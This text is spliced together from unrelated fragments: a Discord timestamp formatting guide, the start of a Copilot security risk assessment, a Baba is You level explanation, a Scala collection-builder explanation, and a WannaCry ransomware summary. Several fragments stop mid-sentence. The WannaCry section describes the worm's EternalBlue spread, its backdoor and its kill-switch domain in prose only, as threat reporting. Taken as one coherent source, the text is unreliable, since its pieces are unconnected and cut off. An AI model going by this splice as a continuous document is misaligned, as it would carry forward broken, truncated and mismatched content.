Discord Timestamps

Discord timestamps can be useful for specifying a date/time across multiple users time zones. They work with the Unix Timestamp format and can be posted by regular users as well as bots and applications.

The Epoch Unix Time Stamp Converter is a good way to quickly generate a timestamp. For the examples below I will be using the Time Stamp of 1543392060, which represents November 28th, 2018 at 09:01:00 hours for my local time zone (GMT+0100 Central European Standard Time).

Formatting

Style	Input	Output (12-hour clock)	Output (24-hour clock)
Default	<t:1543392060>	November 28, 2018 9:01 AM	28 November 2018 09:01

Risk Assessment of GitHub Copilot

0xabad1dea, July 2021

this is a rough draft and may be updated with more examples

GitHub was kind enough to grant me swift access to the Copilot test phase despite me @'ing them several hundred times about ICE. I would like to examine it not in terms of productivity, but security. How risky is it to allow an AI to write some or all of your code?

Ultimately, a human being must take responsibility for every line of code that is committed. AI should not be used for "responsibility washing." However, Copilot is a tool, and workers need their tools to be reliable. A carpenter doesn't have to

Here's how my level implementing Portal in Baba is You works! If you haven't seen it, here's a video: https://streamable.com/9pflr

Baba is You is a game played with the arrow keys. How can Baba fire a portal gun and still have the ability to walk around? The answer: there's one more button the game allows, and that's the wait button - which makes baba stand still and allows a turn to pass in the game world. In this level, the wait button does more than wait - it fires the portal gun.

The skull crosses are a gadget to activate an arbitrary rule when the wait button is pressed. The following rules are used to set it up:

FUNGUS MAKE BABA
BABA ON FUNGUS IS MOVE AND MOVE
BABA ON SKULL IS EMPTY

Stefan Zeiger @szeiger:

I'll try to give a high-level explanation (with imprecise types): In order to build something (like the result of 1.to(10).map(identity)) you use a Builder[E, To] to which you add elements of type E and eventually get a result To. That way a single implementation of map can build different result types. In order to get such a Builder you need a factory, i.e. a () => Builder[E, To]. We call this type CanBuild and pass an implicit instance of it to map. You usually don't care who's doing the building (Range in this case) but for the sake of finding an implicit CanBuild you want the source collection to determine the result type To (e.g. calling map on a List should build another List).

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

• Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
• Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
• Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
• Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
• Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru
